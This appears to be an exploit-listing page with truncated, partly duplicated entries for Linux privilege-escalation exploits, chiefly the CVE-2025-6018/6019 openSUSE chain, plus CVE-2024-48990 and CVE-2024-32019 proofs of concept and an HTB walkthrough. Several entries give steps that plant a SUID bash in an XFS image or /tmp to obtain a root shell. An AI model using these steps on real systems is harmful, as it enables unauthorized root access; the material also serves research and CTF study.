CVE-2025-6018

CVE-2025-6018 + CVE-2025-6019 提权利用指南 📋 快速利用流程 步骤 1：准备 XFS 镜像（本地机器） 创建 300MB XFS 镜像 dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image 挂载并安装 SUID bash mkdir mnt sudo mount -t xfs xfs.image mnt sudo cp /bin/bash mnt/bash sudo chmod 4755 mnt/bash sudo umount mnt rmdir mnt 验证（应该显示 300...

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

CVE-2025-6018 + CVE-2025-6019 权限提升指南 📋 快速利用步骤 步骤1：在本地机器上准备XFS镜像 Create 300MB XFS image dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image Mount and install SUID bash mkdir mnt sudo mount -t xfs xfs.image mnt sudo cp /bin/bash mnt/bash sudo chmod 4755 mnt/bash sudo umount mnt rmdir...

opensuse-leap-privesc-exploit

CVE-2025-6018 + CVE-2025-6019 漏洞利用链 该利用工具是为解决一个针对 openSUSE Leap 15.6 的 HackTheBox 挑战而开发的。 致谢 本利用基于 Qualys 安全团队的原始研究： 公告：https://cdn2.qualys.com/2025/06/17/suse15-pam-udisks-lpe.txt CVE-2025-6018：在 openSUSE 15 的 PAM 中从低权限提升到 allowactive 的本地提权漏洞 CVE-2025-6019：通过 udisks 在 libblockdev 中从 allowactive...

CVE-2025-6018-CVE-2025-6019-Privilege-Escalation-Exploit

CVE-2025-6018 + CVE-2025-6019 提权利用指南 📋 快速利用流程 步骤 1：准备 XFS 镜像（本地机器） 创建 300MB XFS 镜像 dd if=/dev/zero of=xfs.image bs=1M count=300 mkfs.xfs -f xfs.image 挂载并安装 SUID bash mkdir mnt sudo mount -t xfs xfs.image mnt sudo cp /bin/bash mnt/bash sudo chmod 4755 mnt/bash sudo umount mnt rmdir mnt 验证（应该显示 300...

CVE-2024-48990-PoC

这个简单的shell脚本会创建该漏洞所需的所有文件。 首先，它创建一个随机生成的临时文件，用于编译假的 init.so 文件。当漏洞被触发时，该文件会执行，并将bash二进制文件复制到 /tmp/ribbit，同时设置SUID位。然后，它在当前工作目录中创建importlib目录。接着，它将创建的临时文件编译成 init.so，并放入新建的目录中。最后，它创建另一个随机命名的临时Python文件，该文件会休眠并等待漏洞被触发。触发后，它将执行带有SUID设置的bash二进制文件，从而获得root shell。...

Hack-The-Box-Connected-Full-Machine-Walkthrough

Hack The Box — Connected Platform: Hack The Box Mac...

Exploit for Incorrect Authorization in Suse Pam-Config

CVE-2025-6018 + CVE-2025-6019 Privilege Escalation Guide 中文...

Exploit for CVE-2024-32019

CVE-2024-32019-poc Netdata ndsudo PoC Build the binary: ba...

Exploit for CVE-2025-6019

CVE-2025-6019 Proof of Concept PoC This repository contains...

Debian Linux 2.0 Super Syslog Buffer Overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/342/info After the first super buffer overflow vulnerability was discovered, another appeared shortly after. This vulnerability exists when the syslog option is enabled. The overflow is in the file error.c, in the Error...